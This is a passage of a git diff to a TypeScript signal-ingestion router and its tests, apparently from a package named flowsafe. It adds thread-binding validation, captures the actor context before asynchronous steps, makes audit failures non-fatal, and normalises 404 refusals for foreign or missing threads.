'missing'].map((threadId) => + expect.objectContaining({ + threadId, + outcome: 'rejected', + reason: 'invalid-thread', + contentBytes: 0, + }), + ), + ); + }); + + it('preserves an admin-permissive registry policy when the validator is omitted', async () => { + const context = actorContext('admin'); + context.canAccessResource = async () => true; + const { topology, calls } = recordingTopology(); + const router = createSignalRouter({ + resolve: async () => context, + topology, + }); + + const response = await router(post('/api/threads/foreign/message', {})); + + expect(response?.status).toBe(200); + expect(calls).toEqual([ + { threadId: 'foreign', path: '/signal/message', body: '{}' }, + ]); + }); + + it('captures validator and audit callbacks while preserving their options receiver', async () => { + const { topology } = recordingTopology(); + const validateThreadTarget = vi.fn(async function ( + this: SignalRouterOptions, + ) { + expect(this).toBe(options); + }); + let auditReceiver: SignalRouterOptions | undefined; + const audit = vi.fn(function (this: SignalRouterOptions) { + auditReceiver = this; + }); + const options: SignalRouterOptions = { + resolve: async () => actorContext('operator'), + topology, + validateThreadTarget, + audit, + }; + const router = createSignalRouter(options); + const replacementValidator = vi.fn(); + const replacementAudit = vi.fn(); + options.validateThreadTarget = replacementValidator; + options.audit = replacementAudit; + + expect( + (await router(post(`/api/threads/${OWNED_THREAD}/message`, {})))?.status, + ).toBe(200); + expect(validateThreadTarget).toHaveBeenCalledOnce(); + expect(audit).toHaveBeenCalledOnce(); + expect(auditReceiver).toBe(options); + expect(replacementValidator).not.toHaveBeenCalled(); + expect(replacementAudit).not.toHaveBeenCalled(); + }); + + it.each([ + 'ownership', + 'validator', + ] as const)('captures actor, principal, deployment and mutation epoch before the %s await', async (boundary) => { + const entered = deferred(); + const held = deferred(); + const actor = { id: 'opal', role: 'operator' as ApprovalActor['role'] }; + const principal = { kind: 'human' as const, ...actor }; + const context = { + ...actorContext('operator'), + actor, + principal, + mutationEpoch: 7, + deploymentTag: 'acme', + async canAccessResource() { + expect(this).toBe(context); + if (boundary === 'ownership') { + entered.resolve(); + await held.promise; + } + return true; + }, + newThreadId() { + expect(this).toBe(context); + return OWNED_THREAD; + }, + }; + const validateThreadTarget = vi.fn(async (captured: ActorContext) => { + if (boundary === 'validator') { + entered.resolve(); + await held.promise; + } + expect(captured).not.toBe(context); + expect(captured.actor).toEqual({ id: 'opal', role: 'operator' }); + expect(captured.principal).toEqual({ + kind: 'human', + id: 'opal', + role: 'operator', + }); + expect(captured.mutationEpoch).toBe(7); + expect(captured.newThreadId()).toBe(OWNED_THREAD); + }); + const { topology } = recordingTopology(); + const send = vi.spyOn(topology, 'send'); + const audit = vi.fn(); + const router = createSignalRouter({ + resolve: async () => context, + topology, + validateThreadTarget, + audit, + }); + const request = post(`/api/threads/${OWNED_THREAD}/message`, {}); + const result = router(request); + await entered.promise; + expect(request.bodyUsed).toBe(false); + expect(send).not.toHaveBeenCalled(); + expect(audit).not.toHaveBeenCalled(); + actor.id = 'mallory'; + actor.role = 'viewer'; + principal.id = 'mallory'; + principal.role = 'admin'; + context.mutationEpoch = 8; + context.deploymentTag = 'other-deployment'; + context.newThreadId = () => 'other-thread'; + held.resolve(); + + expect((await result)?.status).toBe(200); + expect(send).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ + actor: { id: 'opal', role: 'operator' }, + principal: { kind: 'human', id: 'opal', role: 'operator' }, + mutationEpoch: 7, + deploymentTag: 'acme', + }), + OWNED_THREAD, + '/signal/message', + expect.any(Object), + ); + expect(audit).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ + actorId: 'opal', + deploymentTag: 'acme', + outcome: 'accepted', + }), + ); + }); + + it('waits for the downstream decision before auditing acceptance', async () => { + const decision = deferred(); + const entered = deferred(); + const { topology } = recordingTopology(); + vi.spyOn(topology, 'send').mockImplementation(async () => { + entered.resolve(); + return decision.promise; + }); + const audit = vi.fn(); + const router = createSignalRouter({ + resolve: async () => actorContext('operator'), + topology, + audit, + }); + const pending = router(post(`/api/threads/${OWNED_THREAD}/message`, {})); + await entered.promise; + expect(audit).not.toHaveBeenCalled(); + const response = new Response('delivered', { + status: 202, + headers: { 'x-delivery': 'accepted' }, + }); + decision.resolve(response); + expect(await pending).toBe(response); + expect(audit).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ outcome: 'accepted', contentBytes: 2 }), + ); + }); + + it('retains a completed delivery while its pending audit rejects', async () => { + const entered = deferred(); + const held = deferred(); + const { topology } = recordingTopology(); + const response = new Response('delivered', { status: 202 }); + const send = vi.spyOn(topology, 'send').mockResolvedValue(response); + const log = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger unavailable'); + }); + const audit = vi.fn(async () => { + entered.resolve(); + await held.promise; + throw new ActorResolutionError('audit refused'); + }); + const router = createSignalRouter({ + resolve: async () => actorContext('operator'), + topology, + audit, + }); + try { + const pending = router(post(`/api/threads/${OWNED_THREAD}/message`, {})); + await entered.promise; + expect(send).toHaveBeenCalledOnce(); + expect(audit).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ outcome: 'accepted' }), + ); + held.resolve(); + expect(await pending).toBe(response); + expect(audit).toHaveBeenCalledOnce(); + expect(send).toHaveBeenCalledOnce(); + } finally { + held.resolve(); + log.mockRestore(); + } + }); + + it.each([ + 403, 404, 422, 503, + ])('audits one downstream %s rejection and preserves its public response', async (status) => { + const { topology } = recordingTopology(); + const response = new Response('private downstream refusal', { + status, + headers: { + 'content-type': 'text/plain', + 'retry-after': '5', + 'x-owner': 'foreign-owner', + }, + }); + vi.spyOn(topology, 'send').mockResolvedValue(response); + const audit = vi.fn(); + const router = createSignalRouter({ + resolve: async () => actorContext('operator'), + topology, + audit, + }); + const result = await router( + post(`/api/threads/${OWNED_THREAD}/message`, {}), + ); + expect(result?.status).toBe(status); + expect(audit).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ + outcome: 'rejected', + reason: status === 404 ? 'invalid-thread' : `downstream-${status}`, + }), + ); + expect(response.bodyUsed).toBe(false); + if (status === 404) { + expect(await result?.text()).toBe('{"error":"thread not found"}'); + expect([...(result?.headers ?? [])]).toEqual([ + ['cache-control', 'no-store'], + ['content-type', 'application/json'], + ]); + } else { + expect(result).toBe(response); + expect(await result?.text()).toBe('private downstream refusal'); + } + }); + + it.each([ + [ + new RunRouteError(404, 'private missing binding'), + 404, + 'invalid-thread', + 'thread not found', + ], + [ + new RunRouteError(503, 'temporarily unavailable'), + 503, + 'route-error-503', + 'temporarily unavailable', + ], + [ + new ActorResolutionError('private principal detail'), + 403, + 'forbidden', + 'forbidden', + ], + [ + new Error('private backend detail'), + 500, + 'internal-error', + 'internal error', + ], + ] as const)('audits one final outcome when forwarding throws %s', async (error, status, reason, message) => { + const log = vi.spyOn(console, 'error').mockImplementation(() => undefined); + const { topology } = recordingTopology(); + vi.spyOn(topology, 'send').mockRejectedValue(error); + const audit = vi.fn(); + const router = createSignalRouter({ + resolve: async () => actorContext('operator'), + topology, + audit, + }); + try { + const response = await router( + post(`/api/threads/${OWNED_THREAD}/message`, {}), + ); + expect(response?.status).toBe(status); + expect(await response?.json()).toEqual({ error: message }); + expect(audit).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ outcome: 'rejected', reason }), + ); + } finally { + log.mockRestore(); + } + }); + + it.each([ + new ActorResolutionError('invalid claims'), + new Error('authentication backend unavailable'), + ])('does not audit a resolver exception: %s', async (error) => { + const log = vi.spyOn(console, 'error').mockImplementation(() => undefined); + const { topology, calls } = recordingTopology(); + const audit = vi.fn(); + const router = createSignalRouter({ + resolve: async () => { + throw error; + }, + topology, + audit, + }); + try { + const response = await router( + post(`/api/threads/${OWNED_THREAD}/message`, {}), + ); + expect(response?.status).toBe( + error instanceof ActorResolutionError ? 403 : 500, + ); + expect(audit).not.toHaveBeenCalled(); + expect(calls).toEqual([]); + } finally { + log.mockRestore(); + } + }); + + it.each([ + ['accepted', '{}', 'operator', 200, undefined], + ['role rejection', '{}', 'viewer', 403, 'forbidden-role'], + ['parse refusal', '{', 'operator', 400, 'malformed-body'], + ['non-object refusal', 'null', 'operator', 400, 'malformed-body'], + [ + 'memory-id refusal', + '{"threadId":"foreign"}', + 'operator', + 400, + 'client-memory-id', + ], + ] as const)('preserves %s when the audit sink throws a typed error', async (_label, body, role, status, reason) => { + const log = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger unavailable'); + }); + const { topology, calls } = recordingTopology(); + const audit = vi.fn(() => { + throw new RunRouteError(503, 'sink unavailable'); + }); + const router = createSignalRouter({ + resolve: async () => actorContext(role), + topology, + audit, + }); + try { + const response = await router( + post(`/api/threads/${OWNED_THREAD}/message`, body), + ); + expect(response?.status).toBe(status); + expect(audit).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ + outcome: status === 200 ? 'accepted' : 'rejected', + ...(reason === undefined ? {} : { reason }), + }), + ); + expect(calls).toHaveLength(status === 200 ? 1 : 0); + if (status === 403) + expect(await response?.json()).toEqual({ error: 'forbidden' }); + if (reason === 'malformed-body') + expect(await response?.json()).toEqual({ + error: 'a JSON object body is required', + }); + } finally { + log.mockRestore(); + } + }); + + it.each([ + 'actor-error', + 'message-getter', + 'toString', + ] as const)('contains an audit %s failure without changing the downstream response', async (failure) => { + const log = vi.spyOn(console, 'error').mockImplementation(() => undefined); + const error = + failure === 'actor-error' + ? new ActorResolutionError('sink refused') + : failure === 'message-getter' + ? Object.defineProperty(new Error(), 'message', { + get() { + throw new Error('unreadable message'); + }, + }) + : { + toString() { + throw new Error('unreadable value'); + }, + }; + const { topology } = recordingTopology(); + const response = new Response('unavailable', { + status: 503, + headers: { 'retry-after': '9' }, + }); + vi.spyOn(topology, 'send').mockResolvedValue(response); + const audit = vi.fn(async () => { + throw error; + }); + const router = createSignalRouter({ + resolve: async () => actorContext('operator'), + topology, + audit, + }); + try { + expect( + await router(post(`/api/threads/${OWNED_THREAD}/message`, {})), + ).toBe(response); + expect(audit).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ + outcome: 'rejected', + reason: 'downstream-503', + }), + ); + expect(log).toHaveBeenCalledOnce(); + expect(JSON.parse(log.mock.calls[0]?.[0])).toMatchObject({ + type: 'signal.ingest-audit-error', + reason: failure === 'actor-error' ? 'sink refused' : 'unreadable error', + }); + } finally { + log.mockRestore(); + } + }); + it('returns a generic 500 while retaining internal detail in structured logs', async () => { const logged: string[] = []; const log = vi.spyOn(console, 'error').mockImplementation((value) => { diff --git a/packages/flowsafe/src/signals/router.ts b/packages/flowsafe/src/signals/router.ts index e1692152..7ead4545 100644 --- a/packages/flowsafe/src/signals/router.ts +++ b/packages/flowsafe/src/signals/router.ts @@ -1,48 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 -// Track C (M-004), CI-M-004-004 — the P6 ingestion trust boundary (DL-006). -// -// Signals/notifications/messages inject XML-wrapped content INTO the model's -// context (core's signalToXmlMarkup), so every ingest is an UNTRUSTED input -// channel into the agent. This Worker-side router uses the same resource-first -// authorization rule as addressed run routes: -// -// 1. resolve (authenticate and bind actor context) -> 401 / 403 -// 2. registry-backed thread ownership (requireResourceAccess) -> 404 (no existence oracle) -// 3. coarse role (RUN_START_ROLES by default) -> 403 (reviewer/viewer read-only) -// 4. size cap on the raw body, THEN JSON parse -> 413 / 400 -// 5. body names NO client memory id (assertNoClientMemoryIds) -> 400 -// 6. attribute-key allowlist -> 400 -// 7. deployment rate cap -> 429 -// 8. audit (signal.ingest) + forward via the topology -// -// Every ingest is AUDITED (signal.ingest), accepted OR rejected — and a rejection -// is audited at the step that refuses it, INCLUDING the three POST-auth denials -// that read like an attack on this untrusted channel: the role 403, the -// malformed thread 404 and the -// memory-id 400 (a smuggled TCB-only id). Pre-auth failures (401, or a resolver -// throw → 403) are NOT audited: the caller is unauthenticated, so auditing there -// would let an anonymous flood write the log. -// -// The threadId travels in the PATH (the client references its OWN thread, like a -// runId on the status/resume routes) and is 404'd if foreign BEFORE any DO is -// addressed — no wake, no oracle. The BODY may never name threadId/resourceId -// (assertNoClientMemoryIds): a client that picks its own memory id picks whose -// memory it reads. The forward goes through createThreadTopology, which -// overwrites the trusted principal header from the resolved context. -// -// XML-injection neutralization is CORE's: signalToXmlMarkup entity-escapes the -// contents and attribute VALUES and re-validates tag/attribute NAMES — a single -// layer, and core is a SOFT pin, so a regression there is caught by the C-S5 -// render test (thread-do-routes.test.ts), which fails flowsafe CI if core stops -// escaping. The ROUTE adds its own line but does NOT re-escape the contents: the -// thread routes validate `tagName` as an XML name at ingest, and this gate -// allowlists attribute KEYS and size-caps the payload. Optional content policy -// runs later at the common thread-DO boundary over core's canonical escaped XML, -// where provider, schedule, notification, and direct delivery all converge. -// -// sendToolApproval is deliberately NOT an ingress here (P8): the dashboard stays -// the sole approval decision path; this router never mints capability. +import { captureActorContext } from '../approval-api/actor-context.js'; import { type ActorContext, ActorResolutionError, @@ -50,8 +8,10 @@ import { type ApprovalRole, RUN_START_ROLES, } from '../approval-api/index.js'; +import { hostErrorText } from '../host-kit/host-approval-service.js'; import { assertNoClientMemoryIds, + type BoundThreadTargetValidator, RunRouteError, requireResourceAccess, type ThreadTopology, @@ -72,7 +32,7 @@ const CHANNEL_PATHS = { export type SignalChannel = keyof typeof CHANNEL_PATHS; -/** The structured audit event every ingest emits (accepted OR rejected). */ +/** A structured signal ingestion outcome. */ export interface SignalIngestAuditEvent { type: 'signal.ingest'; deploymentTag?: string; @@ -103,9 +63,11 @@ export interface SignalRouterOptions { resolve: ActorResolver; /** The sanctioned reach into a thread DO — stamps the principal header. */ topology: ThreadTopology; - /** Who may signal. Default RUN_START_ROLES (operator/admin) — reviewers/viewers are read-only. */ + /** Require a bound thread before ingestion. Omission uses registry access policy. */ + validateThreadTarget?: BoundThreadTargetValidator; + /** Who may signal. Default RUN_START_ROLES. */ roles?: readonly ApprovalRole[]; - /** Every ingest is audited through this (accepted + rejected). Absent ⇒ no audit (wire one). */ + /** Receives authenticated ingestion outcomes; sink failures do not change responses. */ audit?: SignalAuditSink; /** Deployment rate cap. Absent means unmetered. */ rateLimit?: SignalRateLimiter; @@ -137,7 +99,7 @@ function json(payload: unknown, status = 200): Response { } export function createSignalRouter(options: SignalRouterOptions): SignalRouter { - const { resolve, topology } = options; + const { resolve, topology, validateThreadTarget, audit: auditSink } = options; const roles = options.roles ?? RUN_START_ROLES; const maxContentBytes = nonnegativeSafeInteger( options.maxContentBytes ?? 16_384, @@ -165,48 +127,56 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter { const threadId = safeDecodeSegment(segments[baseSegments.length]); if (threadId === undefined) return null; const channelSeg = segments[baseSegments.length + 1] ?? ''; - if (!(channelSeg in CHANNEL_PATHS)) return null; + if (!Object.hasOwn(CHANNEL_PATHS, channelSeg)) return null; const channel = channelSeg as SignalChannel; if (request.method !== 'POST') { return json({ error: 'method not allowed' }, 405); } - // Hoisted ABOVE the try so the outer catch can audit the POST-auth denials - // that surface as thrown RunRouteErrors (the target 404, the memory-id - // 400). `context` is undefined until resolve succeeds and the closure no-ops - // while it is, so a pre-auth throw is never audited. `contentBytes` is filled - // at the size-cap step (0 for pre-parse rejections). let context: ActorContext | undefined; let contentBytes = 0; const audit = async ( outcome: 'accepted' | 'rejected', reason?: string, ): Promise => { - if (!options.audit || !context) return; - await options.audit({ - type: 'signal.ingest', - ...(context.deploymentTag !== undefined - ? { deploymentTag: context.deploymentTag } - : {}), - actorId: context.actor.id, - threadId, - channel, - outcome, - ...(reason !== undefined ? { reason } : {}), - contentBytes, - timestamp: new Date().toISOString(), - }); + if (!auditSink || !context) return; + try { + await auditSink.call(options, { + type: 'signal.ingest', + ...(context.deploymentTag !== undefined + ? { deploymentTag: context.deploymentTag } + : {}), + actorId: context.actor.id, + threadId, + channel, + outcome, + ...(reason !== undefined ? { reason } : {}), + contentBytes, + timestamp: new Date().toISOString(), + }); + } catch (error) { + try { + console.error( + JSON.stringify({ + type: 'signal.ingest-audit-error', + threadId, + channel, + reason: hostErrorText(error, true), + }), + error, + ); + } catch { + // Diagnostics cannot change the request's selected outcome. + } + } }; try { - // 1. Resolve and authenticate. ActorResolutionError maps to 403 in the - // catch and is not audited (pre-auth). - context = await resolve(request); - if (!context) return json({ error: 'authentication required' }, 401); + const resolved = await resolve(request); + if (!resolved) return json({ error: 'authentication required' }, 401); + context = captureActorContext(resolved); const actor = context.actor; - // 2. Resolve ownership before the role gate. A foreign opaque id and a - // missing one are the same 404, including for a read-only role. await requireResourceAccess( context, 'thread', @@ -214,15 +184,13 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter { 'write', 'thread', ); + await validateThreadTarget?.call(options, context, { threadId }); - // 3. Coarse role: signalling mutates agent context. if (!roles.includes(actor.role)) { await audit('rejected', 'forbidden-role'); return json({ error: 'forbidden' }, 403); } - // 4. Size cap at the wire: read the body as text, bound it, THEN parse. A - // 16 KiB signal is generous; an unbounded one is a context-stuffing vector. const rawBody = await readBoundedBody( request, maxContentBytes, @@ -257,10 +225,8 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter { return json({ error: 'a JSON object body is required' }, 400); } - // 5. No client memory id ANYWHERE in the body (assertNoClientMemoryIds 400s). assertNoClientMemoryIds(body); - // 6. Attribute-key allowlist (defense-in-depth over core's name validation). if (allowlist && body.attributes !== undefined) { const attrs = body.attributes; if ( @@ -281,7 +247,6 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter { } } - // 7. Deployment rate cap. if (options.rateLimit) { const allowed = await options.rateLimit(); if (!allowed) { @@ -290,18 +255,29 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter { } } - // 8. Audit the accepted ingest, then forward through the topology (which - // overwrites the principal header — a forged one cannot ride along). - await audit('accepted'); - return await topology.send(context, threadId, CHANNEL_PATHS[channel], { - method: 'POST', - headers: { 'content-type': 'application/json' }, - body: rawBody.text === '' ? '{}' : rawBody.text, - }); + const response = await topology.send( + context, + threadId, + CHANNEL_PATHS[channel], + { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: rawBody.text === '' ? '{}' : rawBody.text, + }, + ); + await audit( + response.ok ? 'accepted' : 'rejected', + response.ok + ? undefined + : response.status === 404 + ? 'invalid-thread' + : `downstream-${response.status}`, + ); + return response.status === 404 + ? json({ error: 'thread not found' }, 404) + : response; } catch (error) { if (error instanceof RunRouteError) { - // A post-auth denial: the target 404 or a smuggled memory-id 400. - // audit the rejection before mapping the status the router surfaces. await audit( 'rejected', error.status === 404 @@ -310,12 +286,16 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter { ? 'client-memory-id' : `route-error-${error.status}`, ); - return json({ error: error.message }, error.status); + return json( + { error: error.status === 404 ? 'thread not found' : error.message }, + error.status, + ); } if (error instanceof ActorResolutionError) { - // Pre-auth (the resolver itself threw): unauthenticated, so not audited. + await audit('rejected', 'forbidden'); return json({ error: 'forbidden' }, 403); } + await audit('rejected', 'internal-error'); return internalErrorResponse('signals.ingest', error); } }; diff --git a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts index 53baceef..bf59aff8 100644 --- a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts +++ b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts @@ -1,11 +1,4 @@ // SPDX-License-Identifier: Apache-2.0 -// One signal ingested through the FULL chain: createSignalRouter's ingestion -// gate → real createThreadTopology → real ThreadDurableObject (its -// stamped-principal assertion) → the production thread signal routes → a -// runtime-driven reserve agent, with NO LLM. The unit suites -// each mock a seam; this one wires the real seams together so the ingestion -// boundary has one end-to-end proof, including the idle-wake run cap consulted -// both allowing and capping, plus a foreign path-safe thread refusal. import type { Agent } from '@mastra/core/agent'; import { RequestContext } from '@mastra/core/request-context'; @@ -17,14 +10,26 @@ import { createContentPolicyGate, denyPatterns, } from '@proofoftech/breakwater'; -import { describe, expect, it, vi } from 'vitest'; +import { assert, describe, expect, it, vi } from 'vitest'; -import { RUNTIME_DRIVEN_AGENT } from '../agent-runner/index.js'; +import { + type AgentThreadStateStorage, + createAgentThreadTopology, + createThreadAgentHost, + type ThreadAgentHost, +} from '../agent-host/index.js'; +import { + bindAgentThread, + RUNTIME_DRIVEN_AGENT, +} from '../agent-runner/index.js'; import type { ActorContext, ApprovalActor } from '../approval-api/index.js'; import { breakwaterActorFor, + createPrincipalActorContext, humanPrincipal, + InMemoryApprovalStoreFactory, principalAuditFields, + type ResourceOwnershipStore, } from '../approval-api/index.js'; import { type InitResult, @@ -35,11 +40,13 @@ import { type ThreadScope, } from '../do-runner/index.js'; import { + type BoundThreadTargetValidator, createThreadTopology as createThreadTopologyWithSecret, + RunRouteError, type ThreadNamespaceLike, type ThreadTopology, } from '../host-kit/index.js'; -import { createSignalRouter } from './router.js'; +import { createSignalRouter, type SignalIngestAuditEvent } from './router.js'; import { createThreadSignalRoutes, type RunCapConsult, @@ -61,6 +68,9 @@ interface TestEnv { consultRunCap?: RunCapConsult; startIdleRun?: StartIdleRun; contentPolicy?: SignalContentPolicy; + ownership?: ResourceOwnershipStore; + bindingHost?: ThreadAgentHost; + exchanges?: Array<{ request: Request; response?: Response }>; } // A minimal host thread DO: build() its init() wiring, route() the PRODUCTION @@ -99,7 +109,20 @@ class TestThread extends ThreadDurableObject { request: Request, scope: ThreadScope, ): Promise { + if (this.env.ownership) { + const owner = await this.env.ownership.owner('thread', scope.threadId); + if ( + owner?.kind !== scope.principal.kind || + owner.id !== scope.principal.id + ) { + return new Response('private thread ownership refusal', { + status: 404, + headers: { 'x-owner-policy': 'strict' }, + }); + } + } return ( + (await this.env.bindingHost?.route(request, scope)) ?? (await this.#routes(request, scope)) ?? new Response(JSON.stringify({ error: 'not found' }), { status: 404 }) ); @@ -121,17 +144,24 @@ function threadNamespace(env: TestEnv): ThreadNamespaceLike { } const instance = inst; return { - fetch: ( + fetch: async ( input: Request | string, reqInit?: { method?: string; headers?: Record; body?: string; }, - ) => - instance.fetch( - typeof input === 'string' ? new Request(input, reqInit) : input, - ), + ) => { + const request = + typeof input === 'string' ? new Request(input, reqInit) : input; + const exchange: { request: Request; response?: Response } = { + request, + }; + env.exchanges?.push(exchange); + const response = await instance.fetch(request); + exchange.response = response; + return response; + }, }; }, }; @@ -165,7 +195,7 @@ function actorContext(): ActorContext { // A runtime-driven reserve agent (no LLM): records the ifIdle target sendMessage // received. The brand is what lets a wake pass the thread-route gate. -function reserveAgent(): { +function reserveAgent(accepted?: Promise): { agent: Agent; targets: Array<{ ifIdle?: unknown }>; } { @@ -179,7 +209,8 @@ function reserveAgent(): { targets.push(target); return { signal: { id: 'sig-1' }, - accepted: Promise.resolve({ action: 'deliver', runId: 'acme_run' }), + accepted: + accepted ?? Promise.resolve({ action: 'deliver', runId: 'acme_run' }), }; }, } as unknown as Agent; @@ -267,6 +298,245 @@ describe('signal ingestion — full chain (router → topology → thread DO → }); }); +describe('signal ingestion — strict owner policy with durable binding validation', () => { + async function fixture(accepted?: Promise) { + const storeFactory = new InMemoryApprovalStoreFactory(); + const unused = () => { + throw new Error('binding validation must not initialize agent execution'); + }; + const owner = createPrincipalActorContext({ + principal: humanPrincipal({ id: 'opal', role: 'operator' }), + storeFactory, + buildService: unused, + mutationEpoch: 7, + }); + const admin = createPrincipalActorContext({ + principal: humanPrincipal({ id: 'admin', role: 'admin' }), + storeFactory, + buildService: unused, + mutationEpoch: 7, + }); + await owner.claimResource('thread', THREAD_ID); + await owner.claimResource('resource', resourceIdFromKey(THREAD_ID)); + const state = new Map(); + const stateStorage: AgentThreadStateStorage = { + get: async (key: string) => + structuredClone(state.get(key)) as T | undefined, + put: async (key, value) => { + state.set(key, structuredClone(value)); + }, + delete: unused, + list: unused, + getAlarm: unused, + setAlarm: unused, + deleteAlarm: unused, + }; + await bindAgentThread(stateStorage, { + version: 1, + agentId: 'reserve', + resourceId: resourceIdFromKey(THREAD_ID), + }); + vi.spyOn(stateStorage, 'get'); + vi.spyOn(stateStorage, 'put'); + const bindingHost = createThreadAgentHost({ + buildModules: unused, + storage: unused, + stateStorage: () => stateStorage, + resourceAccess: () => storeFactory.resources(), + approvalService: unused, + }); + const { agent, targets } = reserveAgent(accepted); + const consultRunCap = vi.fn(async () => true); + const startIdleRun = vi.fn(async ({ runId }: { runId: string }) => ({ + runId, + })); + const exchanges: NonNullable = []; + const namespace = threadNamespace({ + agent, + consultRunCap, + startIdleRun, + ownership: storeFactory.resources(), + bindingHost, + exchanges, + }); + const address = vi.spyOn(namespace, 'idFromName'); + const get = vi.spyOn(namespace, 'get'); + const agentTopology = createAgentThreadTopology( + namespace, + DEPLOYMENT_IDENTITY_SECRET, + { executionFence: 'none', startIdempotency: 'none' }, + ); + const validateThreadTarget: BoundThreadTargetValidator = async ( + context, + target, + ) => { + const registered = await context.resourceOwnerFor( + 'thread', + target.threadId, + ); + if ( + registered?.kind !== context.principal.kind || + registered.id !== context.principal.id + ) { + throw new RunRouteError(404, 'strict ingress ownership refusal'); + } + await agentTopology.requireBoundThread(context, target); + }; + return { + owner, + admin, + stateStorage, + targets, + consultRunCap, + startIdleRun, + exchanges, + address, + get, + validateThreadTarget, + topology: createThreadTopology(namespace), + }; + } + + it.each([ + true, + false, + ])('normalizes foreign-admin and missing refusals with strict ingress enabled=%s', async (strictIngress) => { + const setup = await fixture(); + expect( + await setup.admin.canAccessResource('thread', THREAD_ID, 'write'), + ).toBe(true); + const events: SignalIngestAuditEvent[] = []; + const rateLimit = vi.fn(() => true); + const router = createSignalRouter({ + resolve: async () => setup.admin, + topology: setup.topology, + ...(strictIngress + ? { validateThreadTarget: setup.validateThreadTarget } + : {}), + rateLimit, + audit: (event) => { + events.push(event); + }, + }); + const missing = mintThreadId(() => 'missing'); + const responses = []; + for (const threadId of [THREAD_ID, missing]) { + const request = wake(threadId); + const response = await router(request); + responses.push({ + status: response?.status, + headers: [...(response?.headers ?? [])], + body: await response?.text(), + }); + expect(request.bodyUsed).toBe(!strictIngress && threadId === THREAD_ID); + } + expect(responses[0]).toEqual(responses[1]); + expect(responses[0]).toEqual({ + status: 404, + headers: [ + ['cache-control', 'no-store'], + ['content-type', 'application/json'], + ], + body: '{"error":"thread not found"}', + }); + expect(events).toEqual( + [THREAD_ID, missing].map((threadId) => + expect.objectContaining({ + actorId: 'admin', + threadId, + outcome: 'rejected', + reason: 'invalid-thread', + }), + ), + ); + expect(setup.address).toHaveBeenCalledTimes(strictIngress ? 0 : 1); + expect(setup.get).toHaveBeenCalledTimes(strictIngress ? 0 : 1); + expect(rateLimit).toHaveBeenCalledTimes(strictIngress ? 0 : 1); + expect(setup.stateStorage.get).not.toHaveBeenCalled(); + expect(setup.stateStorage.put).not.toHaveBeenCalled(); + expect(setup.targets).toEqual([]); + expect(setup.consultRunCap).not.toHaveBeenCalled(); + expect(setup.startIdleRun).not.toHaveBeenCalled(); + if (strictIngress) { + expect(setup.exchanges).toEqual([]); + } else { + expect(setup.exchanges).toHaveLength(1); + const downstream = setup.exchanges[0]; + assert(downstream); + expect(downstream.request.method).toBe('POST'); + expect(new URL(downstream.request.url).pathname).toBe('/signal/message'); + expect(downstream.response?.status).toBe(404); + expect(await downstream.response?.text()).toBe( + 'private thread ownership refusal', + ); + expect(downstream.response?.headers.get('x-owner-policy')).toBe('strict'); + } + }); + + it('validates the owner binding through the host route and audits after the signal response', async () => { + let complete!: (decision: unknown) => void; + const accepted = new Promise((resolve) => { + complete = resolve; + }); + const setup = await fixture(accepted); + const events: SignalIngestAuditEvent[] = []; + const router = createSignalRouter({ + resolve: async () => setup.owner, + topology: setup.topology, + validateThreadTarget: setup.validateThreadTarget, + audit: (event) => { + expect(setup.exchanges[1]?.response?.status).toBe(200); + events.push(event); + }, + }); + const pending = router( + new Request(`http://host/api/threads/${THREAD_ID}/message`, { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify({ contents: 'status update', ifIdle: 'persist' }), + }), + ); + await vi.waitFor(() => expect(setup.targets).toHaveLength(1)); + expect(events).toEqual([]); + expect( + setup.exchanges.map(({ request }) => ({ + method: request.method, + path: new URL(request.url).pathname, + })), + ).toEqual([ + { method: 'GET', path: '/_flowsafe/agent-host/binding' }, + { method: 'POST', path: '/signal/message' }, + ]); + const binding = setup.exchanges[0]; + assert(binding); + expect(new URL(binding.request.url).searchParams.get('resourceId')).toBe( + resourceIdFromKey(THREAD_ID), + ); + expect(await setup.exchanges[0]?.response?.clone().json()).toEqual({ + bound: true, + }); + expect(setup.exchanges[1]?.response).toBeUndefined(); + complete({ action: 'deliver', runId: 'acme_run' }); + const response = await pending; + expect(response).toBe(setup.exchanges[1]?.response); + expect(response?.status).toBe(200); + expect(await response?.json()).toMatchObject({ + decision: { action: 'deliver', runId: 'acme_run' }, + capped: false, + }); + expect(events).toEqual([ + expect.objectContaining({ + actorId: 'opal', + threadId: THREAD_ID, + outcome: 'accepted', + }), + ]); + expect(setup.stateStorage.get).toHaveBeenCalledOnce(); + expect(setup.stateStorage.put).not.toHaveBeenCalled(); + expect(setup.startIdleRun).not.toHaveBeenCalled(); + }); +}); + // The cross-package seam, wired the way the FlowSafe README documents it: a // REAL Breakwater content gate behind FlowSafe's structural callback, driven // through the REAL router → topology → thread DO → routes chain. FlowSafe keeps diff --git a/packages/flowsafe/src/signals/thread-do-routes.test.ts b/packages/flowsafe/src/signals/thread-do-routes.test.ts index 12cc1668..6a612c12 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.test.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.test.ts @@ -822,7 +822,10 @@ describe('createThreadSignalRoutes', () => { expect(calls).toHaveLength(0); }); - it('resolves throwing memory lazily and fails closed only at persist gates', async () => { + it.each([ + 'returns', + 'throws', + ])('resolves throwing memory lazily and fails closed only at persist gates when the logger %s', async (logger) => { const throwingMemoryAgent = () => { const mocked = 